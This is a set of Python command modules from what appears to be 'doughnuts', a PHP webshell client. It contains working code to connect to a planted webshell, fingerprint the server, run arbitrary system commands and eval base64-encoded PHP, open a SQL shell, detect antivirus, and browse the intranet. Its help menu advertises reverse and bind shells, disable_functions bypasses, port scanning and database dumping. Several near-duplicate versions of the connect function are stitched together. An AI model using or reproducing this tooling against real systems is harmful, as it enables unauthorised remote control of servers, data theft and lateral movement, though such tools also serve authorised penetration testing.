def run(): """ db_shell Get a temporary sql shell of target system. """ if (not gget("db_connected", "webshell")): print(color.red("Please run db_init command first")) return print( color.cyan( "Eenter interactive temporary sql shell...\n\nUse 'back' command to return doughnuts.\n" )) database = gget("db_dbname", "webshell") prompt = "mysql (%s) > " set_namespace("webshell", False, True) wordlist = gget("webshell.wordlist") readline.set_wordlist(NEW_SQL_WORDLIST) try: while gget("loop"): print(prompt % color.cyan(database), end="") command = readline() lower_command = command.lower() if (lower_command.lower() in ['exit', 'quit', 'back']): print() break if (command == ''): print() continue if (lower_command.startswith("use ") and len(lower_command) > 4): try: temp_database = match("use ([^;]*);?", lower_command).group(1) res = send(check_database(temp_database)) if ("Connect error" in res.r_text): print("\n" + color.red(res.r_text.strip()) + "\n") else: database = temp_database print("\n" + color.green( f"Change current database: {database}") + "\n") except (IndexError, AttributeError): print("\n" + color.red("SQL syntax error") + "\n") else: form = execute_sql_command(command, database) if (form == ''): print("\n" + color.red("Connection Error / SQL syntax error") + "\n") else: print(execute_sql_command(command, database)) finally: gset("db_dbname", database, True, "webshell") readline.set_wordlist(wordlist)
def run(find_path: str = "/usr&/bin"): """ av (Only for windows) Detect anti-virus software running on the target system. ps: Need to run system commands Origin: https://github.com/BrownFly/findAV, https://github.com/gh0stkey/avList """ if (not is_windows()): print(color.red("\nTarget system isn't windows\n")) return res = send(get_system_code("tasklist /svc")) if (not res or not res.r_text or "No system execute function" in res.r_text): print(color.red("\nDetect error\n")) return with open(path.join(gget("root_path"), "auxiliary", "av", "av.json"), "r", encoding="utf-8") as f: av_processes = loads(f.read()) flag = 0 print("\n" + color.green(" " * 37 + "Result")) for line in res.r_text.split("\n"): process = line.split(' ')[0] if process in av_processes: flag = 1 print(" %40s - %-30s" % (color.cyan(process), color.yellow(av_processes[process]))) if (not flag): print(" %40s / %-30s" % (color.green('No anti-virus'), color.red('Not found'))) print()
def run(path: str = ".", mode: int = 1): """ ls List information about the files. eg: ls {path=.} {mode=1} mode: - 1 : scandir - 2 : glob """ res = send(get_php(path, mode)) if (not res): return info_list = res.r_text.strip().split('\n') print('\n'.join(info_list[:3])) ls_wordlist = [] for line in info_list[3:]: info = line.split(" ") if (len(info) < 7): continue ls_wordlist.append(info[6]) prems, name = info[0], info[-1] if (prems[0] == 'd'): info[-1] = color.cyan(name) info[3] = '' elif ('x' in prems): info[-1] = color.green(name) print("%s %-4s %-4s %6s %s %s %s" % (info[0], info[1], info[2], info[3], info[4], info[5], info[6])) for prefix in PREFIX_LIST: readline.add_prefix_wordlist(prefix, ls_wordlist)
def run(path: str = "."): """ ls List information about the files. eg: ls {path=.} """ res = send(get_php(path)) if (not res): return info_list = res.r_text.strip().split('\n') print('\n'.join(info_list[:3])) ls_wordlist = [] for line in info_list[3:]: info = line.split(" ") if (len(info) < 7): continue prems, name = info[0], info[-1] if (prems[0] == 'd'): info[-1] = color.cyan(name) info[3] = '' elif ('x' in prems): info[-1] = color.green(name) print("%s %-4s %-4s %6s %s %s %s" % (info[0], info[1], info[2], info[3], info[4], info[5], info[6])) ls_wordlist.append(info[6]) readline.add_wordlist("ls_wordlist", ls_wordlist)
def run(*commands): """ shell Get a temporary shell of target system by system function or just run a shell command. """ command = str(value_translation(gget("raw_command_args"))) if (command): res = send(get_system_code(command)) if (not res): return print(color.green("\nResult:\n\n") + res.r_text.strip() + "\n") return print( color.cyan( "Eenter interactive temporary shell...\n\nUse 'back' command to return doughnuts.\n" )) res = send( f'{get_system_code("whoami")}print("@".$_SERVER["SERVER_NAME"]."|".getcwd());' ).r_text.strip() prompt, pwd = res.split("|") set_namespace("webshell", False, True) wordlist = gget("webshell.wordlist") readline.set_wordlist(NEW_WINDOWS_WORDLIST if ( is_windows()) else NEW_UNIX_WORDLIST) if is_windows(): prompt = "%s> " else: prompt = prompt.replace("\r", "").replace("\n", "") + ":%s$ " try: while gget("loop"): print(prompt % pwd, end="") command = str(value_translation(readline())) lower_command = command.lower() if (lower_command.lower() in ['exit', 'quit', 'back']): print() break if (command == ''): print() continue b64_pwd = base64_encode(pwd) if (lower_command.startswith("cd ") and len(lower_command) > 3): path = base64_encode(lower_command[3:].strip()) res = send( f'chdir(base64_decode(\'{b64_pwd}\'));chdir(base64_decode(\'{path}\'));print(getcwd());' ) if (not res): return pwd = res.r_text.strip() else: res = send(f'chdir(base64_decode(\'{b64_pwd}\'));' + get_system_code(command)) if (not res): return print("\n" + res.r_text.strip() + "\n") finally: readline.set_wordlist(wordlist)
def run(): """ show Show avilable encoders. """ encoders_pf = gget("encode.pf") if (not len(encoders_pf)): return print(color.cyan("Encoders:")) for encoder in encoders_pf.names(): print(f" {encoder}")
def run(*commands): """ webshell Get a webshell of target system or just run a webshell command. """ command = gget("raw_command_args") if (command): res = send((command)) if (not res): return print(color.green("\nResult:\n\n") + res.r_text.strip() + "\n") return print( color.cyan( "Eenter interactive temporary webshell...\n\nUse 'back' command to return doughnuts.\n" )) pwd = send(f'print(getcwd());').r_text.strip() set_namespace("webshell", False, True) wordlist = gget("webshell.wordlist") readline.set_wordlist(NEW_WORDLIST) try: while gget("loop"): print(f"webshell:{pwd} >> ", end="") data = readline(b"(") lower_data = data.lower() if (lower_data.lower() in ['exit', 'quit', 'back']): print() break if (data == ''): print() continue data = base64_encode(data) b64_pwd = base64_encode(pwd) if (lower_data.startswith("cd ") and len(lower_data) > 3): path = base64_encode(lower_data[3:].strip()) res = send( f'chdir(base64_decode(\'{b64_pwd}\'));chdir(base64_decode(\'{path}\'));print(getcwd());' ) if (not res): return pwd = res.r_text.strip() else: res = send( f'eval("chdir(base64_decode(\'{b64_pwd}\'));eval(base64_decode(\'{data}\'));");' ) if (not res): return print("\n" + res.r_text.strip() + "\n") finally: readline.set_wordlist(wordlist)
def run(): """ save Save the configuration of the variable(s) to variables.config. """ filepath = "variables.config" variable_dict = dumps(custom_gets()) with open(filepath, "w") as f: f.write(variable_dict) if (path.exists(filepath)): print() for k, v in custom_gets().items(): print(f"{color.green(f'{k} => {v} [{type(v).__name__}]')}") print( color.cyan( f"\nThe above variables have been written to {filepath}\n")) else: print(f"\n{color.red('Write failed')}\n")
def run(): """ ps (Only for *unix) Report a snapshot of the current processes. eg: ps """ if (is_windows()): print(color.red(f"Only for target system is linux.")) return False splitchars = randstr("!@#$%^&*()1234567890") res = send(get_php(splitchars)) if (not res): return info_list = res.r_text.strip().split('\n') for line in info_list: info = line.split(splitchars) if (len(info) < 4): continue if (info[-1] != "CMDLINE"): info[-1] = color.cyan(info[-1]) print("%-4s %-8s %-12s %s" % (info[0], info[1], info[2], info[3]))
def run(url: str, method: str = "GET", pwd: str = "pass", *encode_functions): """ connect Connect a webshell of php. eg: connect {url} {method} {pass} {encoders...} """ method = str(method).upper() params_dict = {} if method == "GET": raw_key = "params" elif method == "POST": raw_key = "data" elif method == "COOKIE": raw_key = "cookies" elif method == "HEADER": raw_key = "headers" else: print(color.red("Method error")) return encode_functions = [str(f) for f in encode_functions] params_dict[raw_key] = {} webshell_netloc = urlparse(url).netloc gset("url", url, namespace="webshell") gset("webshell.params_dict", params_dict, namespace="webshell") gset("webshell.password", str(pwd), namespace="webshell") gset("webshell.method", raw_key, namespace="webshell") gset("webshell.encode_functions", encode_functions, namespace="webshell") gset("webshell.netloc", webshell_netloc, namespace="webshell") gset( "webshell.download_path", path.join(gget("root_path"), "target", webshell_netloc.replace(":", "_")), namespace="webshell", ) gset("webshell.pwd", ".", namespace="webshell") gset("webshell.bypass_df", -1, namespace="webshell") res = send('print("c4ca4238a0b923820d|".phpversion()."|cc509a6f75849b");', raw=True) if (not res or "c4ca4238a0b923820d" not in res.r_text): print(color.red("Connect failed...")) if (res): print(res.r_text) return False if ('7.' in res.r_text): gset("webshell.v7", True, namespace="webshell") if "c4ca4238a0b923820d" in res.r_text: # 验证是否成功连接 gset("webshell.php_version", res.r_text.split("c4ca4238a0b923820d|")[1].split("|cc509a6f75849b")[0], namespace="webshell") info_req = send( "print($_SERVER['DOCUMENT_ROOT'].'|'.php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].'|'.getcwd().'|'.ini_get('upload_tmp_dir').'|'.ini_get('disable_functions').'|'.ini_get('open_basedir'));" ) info = info_req.r_text.strip().split("|") exec_func = send(get_detectd_exec_php()).r_text.strip() prepare_system_template(exec_func) gset("webshell.root", info[0], namespace="webshell") gset("webshell.os_version", info[1], namespace="webshell") gset( "webshell.iswin", (True if "win" in info[1].lower() else False), namespace="webshell", ) gset("webshell.server_version", info[2], namespace="webshell") gset("webshell.pwd", info[3], namespace="webshell") gset("webshell.prompt", f"doughnuts ({color.cyan(webshell_netloc)}) > ") gset("webshell.exec_func", exec_func, namespace="webshell") upload_tmp_dir = info[4] if (not upload_tmp_dir): if (not is_windows()): upload_tmp_dir = "/tmp/" else: if (is_windows()): upload_tmp_dir += "\\\\" else: upload_tmp_dir += "/" gset("webshell.upload_tmp_dir", upload_tmp_dir, namespace="webshell") disable_function_list = [f.strip() for f in info[5].split(",")] if ('' in disable_function_list): disable_function_list.remove('') gset("webshell.obd", info[6], namespace="webshell") gset("webshell.disable_functions", disable_function_list, namespace="webshell") from_log = gget("webshell.from_log", "webshell") if not from_log: with open("webshell.log", "a+") as f: f.write(f"{url}|{method}|{pwd}|{'|'.join(encode_functions)}\n") else: gset("webshell.from_log", False, True, "webshell") print(color.cyan("Connect success...\n")) print_webshell_info() set_namespace("webshell", callback=False) if (exec_func == ''): print(color.red("No system execute function!\n")) return True
def run(url: str, method: str, data: str = '', params: str = '', cookie: str = '', type: int = 1, timeout: float = 3, redirect_method: str = "POST", redirect_auto: int = 1, redirect_cookie_use: int = 1, create_dir: int = 0): """ agent Lightweight intranet browsing. eg: agent {url} {method} {data=''} {params=''} {cookie=''} {type=[socket|file_get_contents|curl]{1|2|3},default = 1} {timeout=3} {redirect_method=POST} {redirect_auto=1} {redirect_cookie_use=1} {create_dir=0} """ php = get_php(url, method.upper(), redirect_method.upper(), data, params, cookie, redirect_auto, redirect_cookie_use, timeout, type) res = send(php) if (not res): return text = res.r_text # ------------------------------------------ try: current_status = findall('<CurrentStatus>(.*)</CurrentStatus>', text, I + M) assert len(current_status), "Can't get status```" current_status = current_status[0] current_url = findall('<CurrentUrl>(.*)</CurrentUrl>', text, I + M) current_url = base64_decode(current_url[0]) if len(current_url) else '' current_cookie = findall('<CurrentCookie>(.*)</CurrentCookie>', text, I + M) current_cookie = base64_decode( current_cookie[0]) if len(current_cookie) else '' current_header = findall('<CurrentHeader>(.*)</CurrentHeader>', text, I + M) current_header = "\n ".join( base64_decode(line) for line in current_header[0].split( "|")) if len(current_header) else '' if (current_status == "success"): print( color.magenta("Current Url: ") + color.cyan(current_url) + "\n") print( color.blue("Response Headers: \n\n") + " " * 4 + color.white(current_header)) print( color.blue("Cookie: \n\n") + " " * 4 + color.red(current_cookie) + "\n") print(color.yellow("*" * 20 + " Body " + "*" * 20) + "\n\n") print(color.cyan(text) + "\n\n") print(color.yellow("*" * 20 + " END " + "*" * 21) + "\n\n") if (create_dir == 1): dir_path = dirname(current_url.split("//", maxsplit=1)[1]) dir_path = dir_path.replace(":", "-") dir_path = dir_path.replace('.', "_") file_name = "".join( hex(each)[2:].zfill(2) for each in urandom(20)) + "_" + str(time()) + '.html' if (not exists(dir_path)): makedirs(dir_path) method = "w" try: contents = text.encode() method = "wb" except Exception: contents = text with open(dir_path + "/" + file_name, method) as out_file: out_file.write(contents) print( color.blue("Outfile: ") + color.cyan(dir_path + "/" + file_name) + "\n\n") except Exception as e: print("Agent error.", e)
def helpmenu(): namespace = gget("namespace") if (namespace == "main"): print( color.yellow("[?|help] ") + color.cyan( "Output the help document for the command or all help menu" )) print( color.yellow("[s|show] ") + color.cyan("Show log webshells")) print( color.yellow("[se|show_encoders] ") + color.cyan("Show available encoders")) print( color.yellow("[sw|switch] ") + color.cyan( "(for input Non-alphanumeric) Switch input to raw input")) print( color.yellow("[gen|generate] ") + color.cyan("Generate a webshell using doughnuts encoding")) print( color.yellow("[l|load] ") + color.cyan("Load a webshell from log")) print( color.yellow("[c|connect] ") + color.cyan("Connect to a webshell")) print( color.yellow("[check] ") + color.cyan("Check if each webshell is alive")) print( color.yellow("[rm|remove] ") + color.cyan("Remove a webshell log")) print( color.yellow("[log] ") + color.cyan( "(Only for *unix) Write input and output to the log")) print( color.yellow("[!|lsh] ") + color.cyan("Run a command on local machine")) print( color.yellow("[proxy] ") + color.cyan("Set proxy for requests")) print( color.yellow("[q|quit] ") + color.cyan("Quit this program")) elif (namespace == "webshell"): print("\n[COMMON]\n") print( color.yellow("[?|help] ") + color.cyan( "Output the help document for the command or all help menu" )) print( color.yellow("[i|info] ") + color.cyan("Show website information")) print( color.yellow("[env|getenv] ") + color.cyan("print PHP environment variables by ini_get")) print( color.yellow("[ls|dir] ") + color.cyan("List information about the files")) print( color.yellow("[cd] ") + color.cyan("Change the working directory")) print( color.yellow("[pdf] ") + color.cyan("Print disable functions")) print( color.yellow("[pwd] ") + color.cyan("Print the name of the current working directory")) print( color.yellow("[!|lsh] ") + color.cyan("Run a command on local machine")) print( color.yellow("[b|back] ") + color.cyan("Back to main menu")) print( color.yellow("[q|quit] ") + color.cyan("Quit this program")) print("\n[SHELL]\n") print( color.yellow("[bs|bindshell] ") + color.cyan( "Bind a port and wait for someone to connect to get a shell" )) print( color.yellow("[re|reverse] ") + color.cyan("Reverse shell")) print( color.yellow("[rs|reshell] ") + color.cyan( "(Only for both system is linux) (Testing command) Bind a local port and waiting for target connect back to get a full shell" )) print( color.yellow("[s|shell] ") + color.cyan( "Get a temporary shell of target system by system function or just run a shell command" )) print( color.yellow("[ws|webshell] ") + color.cyan( "Get a webshell of target system or just run a webshell command" )) print( color.yellow("[exec|execute] ") + color.cyan("Execute custom php code")) print("\n[FILE]\n") print(color.yellow("[c|cat] ") + color.cyan("Read file(s)")) print(color.yellow("[w|write] ") + color.cyan("Write file")) print(color.yellow("[e|edit] ") + color.cyan("Modify file")) print(color.yellow("[u|upload] ") + color.cyan("Upload file")) print( color.yellow("[d|download] ") + color.cyan("Download file")) print( color.yellow("[mv|move] ") + color.cyan("Rename file or move it to new_file_path")) print( color.yellow("[rm|remove] ") + color.cyan("Delete target system file(s)")) print( color.yellow("[chmod] ") + color.cyan("(Only for *unix) Changes file mode")) print( color.yellow("[t|touch] ") + color.cyan( "Create an empty file or (Only for *unix) Specify a file whose modification time stamp is the same as a random file in the current directory" )) print( color.yellow("[dump] ") + color.cyan( "Package and compress files in a folder and download it")) print("\n[DETECT]\n") print( color.yellow("[search] ") + color.cyan( "Search file(s) from target system (Support regular expression)" )) print( color.yellow("[fwpf] ") + color.cyan("Search writable php file")) print( color.yellow("[fc] ") + color.cyan("Search config file")) print( color.yellow("[fl] ") + color.cyan("Search log file (access.log,error.log)")) print("\n[DATABASE]\n") print( color.yellow("[db_init] ") + color.cyan("Initialize the database connection")) print( color.yellow("[db_info] ") + color.cyan("Output database information")) print( color.yellow("[db_use] ") + color.cyan("Change current database")) print( color.yellow("[db_dbs] ") + color.cyan("Output all databases")) print( color.yellow("[db_tables] ") + color.cyan("Output all tables of a database")) print( color.yellow("[db_columns] ") + color.cyan("Output all columns of a table")) print( color.yellow("[db_shell] ") + color.cyan("Get a temporary sql shell of target system")) print( color.yellow("[db_dump] ") + color.cyan("Dump a database to a file")) print("\n[OTHER]\n") print(color.yellow("[cls|clear] ") + color.cyan("Clear screen")) print( color.yellow("[log] ") + color.cyan( "(Only for *unix) Write input and output to the log")) print( color.yellow("[sw|switch] ") + color.cyan( "(for input Non-alphanumeric) Switch input to raw input")) print( color.yellow("[ag|agent] ") + color.cyan("Intranet agent")) print( color.yellow("[bobd] ") + color.cyan( "(Only for *unix) Try to bypass open_basedir by ini_set and chdir" )) print( color.yellow("[bdf] ") + color.cyan("Try to bypass disable_functions")) print( color.yellow("[proxy] ") + color.cyan("Set proxy for requests")) print( color.yellow("[ps|portscan] ") + color.cyan("Scan intranet ports")) print( color.yellow("[socks] ") + color.cyan( "(Only for *unix) Run a socks5 server on the target system by python" )) print()
def run(url: str, method: str = "GET", pwd: str = "pass", *encoders_or_params): """ connect Connect a webshell of php. eg: connect {url} {method} {pass} {encoders_or_params...} """ method = str(method).upper() params_dict = {"headers": {}} if method == "GET": raw_key = "params" elif method == "POST": raw_key = "data" elif method == "COOKIE": raw_key = "cookies" elif method == "HEADER": raw_key = "headers" else: print(color.red("Method error")) return if (is_windows(False)): new_eop = [] extra_params = [] pass_next = False eop_len = len(encoders_or_params) for i in range(eop_len): # 清洗数据,解决windows下a=b传成2个参数的错误 v = str(encoders_or_params[i]) if (pass_next): pass_next = False continue if (":" not in v): new_eop.append(str(v)) continue if ("=" not in v and i < eop_len - 1): extra_params.append(v + "=" + str(encoders_or_params[i + 1])) pass_next = True else: extra_params.append(str(v)) encoders_or_params = new_eop + extra_params extra_params = [f for f in encoders_or_params if ":" in str(f)] params_dict[raw_key] = {} for each in extra_params: k, data = each.split(":") if (k not in params_dict): params_dict[k] = {} params_dict[k].update( dict([(k, v[0]) for k, v in parse_qs(data).items()])) webshell_netloc = urlparse(url).netloc gset("webshell.url", url, namespace="webshell") gset("webshell.params_dict", params_dict, namespace="webshell") gset("webshell.password", str(pwd), namespace="webshell") gset("webshell.method", raw_key, namespace="webshell") gset("webshell.encode_functions", encoders_or_params, namespace="webshell") gset("webshell.netloc", webshell_netloc, namespace="webshell") gset( "webshell.download_path", path.join(gget("root_path"), "target", webshell_netloc.replace(":", "_")), namespace="webshell", ) gset("webshell.pwd", ".", namespace="webshell") gset("webshell.bypass_df", -1, namespace="webshell") res = send('print("c4ca4238a0b923820d|".phpversion()."|cc509a6f75849b");', raw=True) if (not res or "c4ca4238a0b923820d" not in res.r_text): print(color.red("Connect failed...")) if (res): print(res.r_text) return False if ('7.' in res.r_text): gset("webshell.v7", True, namespace="webshell") if "c4ca4238a0b923820d" in res.r_text: # 验证是否成功连接 gset("webshell.php_version", res.r_text.split("c4ca4238a0b923820d|")[1].split( "|cc509a6f75849b")[0], namespace="webshell") info_req = send( """print($_SERVER['DOCUMENT_ROOT'].'|'.php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].'|'.getcwd().'|'.ini_get('upload_tmp_dir').'|'.ini_get('disable_functions').'|'.ini_get('open_basedir'));""" ) info = info_req.r_text.strip().split("|") exec_func = send(get_detectd_exec_php()).r_text.strip() prepare_system_template(exec_func) gset("webshell.root", info[0], namespace="webshell") gset("webshell.os_version", info[1], namespace="webshell") gset( "webshell.iswin", (True if "win" in info[1].lower() else False), namespace="webshell", ) gset("webshell.server_version", info[2], namespace="webshell") gset("webshell.pwd", info[3], namespace="webshell") gset("webshell.prompt", f"doughnuts ({color.cyan(webshell_netloc)}) > ") gset("webshell.exec_func", exec_func, namespace="webshell") upload_tmp_dir = info[4] if (not upload_tmp_dir): if (not is_windows()): upload_tmp_dir = "/tmp/" else: if (is_windows()): upload_tmp_dir += "\\\\" else: upload_tmp_dir += "/" gset("webshell.upload_tmp_dir", upload_tmp_dir, namespace="webshell") disable_function_list = [f.strip() for f in info[5].split(",")] if ('' in disable_function_list): disable_function_list.remove('') gset("webshell.obd", info[6], namespace="webshell") gset("webshell.disable_functions", disable_function_list, namespace="webshell") root_path = gget("root_path") from_log = gget("webshell.from_log", "webshell") if not from_log: extra = "|".join( encoders_or_params) + "|" if encoders_or_params else "" with open(path.join(root_path, "webshell.log"), "a+") as f: f.write(f"{url}|{method}|{pwd}|{extra}\n") else: gset("webshell.from_log", False, True, "webshell") print(color.cyan("Connect success...\n")) print_webshell_info() set_namespace("webshell", callback=False) if (exec_func == ''): print(color.red("No system execute function!\n")) return True
def run(url: str, method: str = "GET", pwd: str = "pass", *encoders_or_params): """ connect Connect a webshell of php. eg: connect {url} {method} {pass} {encoders_or_params...} """ method = str(method).upper() params_dict = {"headers": {}} if method == "GET": raw_key = "params" elif method == "POST": raw_key = "data" elif method == "COOKIE": raw_key = "cookies" elif method == "HEADER": raw_key = "headers" else: print(color.red("Method error")) return if (is_windows(False)): new_eop = [] extra_params = [] pass_next = False eop_len = len(encoders_or_params) for i in range(eop_len): # 清洗数据,解决windows下a=b传成2个参数的错误 v = str(encoders_or_params[i]) if (pass_next): pass_next = False continue if (":" not in v): new_eop.append(str(v)) elif (i < eop_len - 1): extra_params.append(v + "=" + str(encoders_or_params[i+1])) pass_next = True encoders_or_params = new_eop extra_params = [f for f in encoders_or_params if "=" in str(f)] params_dict[raw_key] = {} for each in extra_params: if(":" in each): k, data = each.split(":") if (k not in params_dict): params_dict[k] = {} params_dict[k].update(dict([(k, value_translation(v[0])) for k, v in parse_qs(data).items()])) else: k, data = each.split("=") if (k not in params_dict): params_dict[k] = {} if (k == "auth"): params_dict[k] = value_translation(data) webshell_netloc = urlparse(url).netloc gset("webshell.url", url, namespace="webshell") gset("webshell.params_dict", params_dict, namespace="webshell") gset("webshell.password", str(pwd), namespace="webshell") gset("webshell.method", raw_key, namespace="webshell") gset("webshell.encode_functions", encoders_or_params, namespace="webshell") gset("webshell.netloc", webshell_netloc, namespace="webshell") gset( "webshell.download_path", path.join(gget("root_path"), "target", webshell_netloc.replace(":", "_")), namespace="webshell", ) gset("webshell.pwd", ".", namespace="webshell") gset("webshell.bypass_df", -1, namespace="webshell") version_flag_start = randstr( string=ascii_letters + digits, offset=randint(32, 62)) version_flag_end = randstr( string=ascii_letters + digits, offset=randint(32, 62)) res = send( 'print("' + version_flag_start + '|".phpversion()."|' + version_flag_end + '");', raw=True) if (not res or version_flag_start not in res.r_text): print(color.red("Connect failed...")) if (res): print(res.r_text) return False if ('7.' in res.r_text): gset("webshell.v7", True, namespace="webshell") if version_flag_start in res.r_text: # 验证是否成功连接 gset("webshell.php_version", res.r_text.split(version_flag_start + "|")[ 1].split("|" + version_flag_end)[0], namespace="webshell") info_req = send( """$bit=PHP_INT_SIZE==4?32:64; print($_SERVER['DOCUMENT_ROOT'].'|'.php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].'|'.getcwd().'|'.sys_get_temp_dir().'|'.ini_get('disable_functions').'|'.ini_get('open_basedir').'|'.$bit.'|'.DIRECTORY_SEPARATOR);""" ) info = info_req.r_text.strip().split("|") exec_func = send(get_detectd_exec_php()).r_text.strip() prepare_system_template(exec_func) gset("webshell.root", info[0], namespace="webshell") gset( "webshell.iswin", (True if "win" in info[1].lower() else False), namespace="webshell", ) gset("webshell.server_version", info[2], namespace="webshell") gset("webshell.pwd", info[3], namespace="webshell") gset("webshell.prompt", f"doughnuts ({color.cyan(webshell_netloc)}) > ") gset("webshell.exec_func", exec_func, namespace="webshell") upload_tmp_dir = info[4] if (not upload_tmp_dir): if (not is_windows()): upload_tmp_dir = "/tmp/" else: if (is_windows()): upload_tmp_dir += "\\\\" else: upload_tmp_dir += "/" gset("webshell.upload_tmp_dir", upload_tmp_dir, namespace="webshell") disable_function_list = [f.strip() for f in info[5].split(",")] if ('' in disable_function_list): disable_function_list.remove('') gset("webshell.obd", info[6], namespace="webshell") bits = info[7] try: bits = int(bits) except ValueError: bits = 0 print(color.yellow("detect architecture error\n")) gset("webshell.os_version", info[1] + " (%d bits)" % bits, namespace="webshell") gset("webshell.arch", bits, namespace="webshell") gset("webshell.directory_separator", info[8], namespace="webshell") gset("webshell.disable_functions", disable_function_list, namespace="webshell") root_path = gget("root_path") from_log = gget("webshell.from_log", "webshell") if not from_log: extra = "|".join(encoders_or_params) + \ "|" if encoders_or_params else "" with open(path.join(root_path, "webshell.log"), "ab+") as f: text = f.read() if (text): f.seek(-1, SEEK_END) if f.read(1) != b"\n": f.write(b"\n") f.write(f"{url}|{method}|{pwd}|{extra}\n".encode()) else: gset("webshell.from_log", False, True, "webshell") print(color.cyan("Connect success...\n")) print_webshell_info() set_namespace("webshell", callback=False) update_prompt() if (exec_func == ''): print(color.red("No system execute function\n")) return True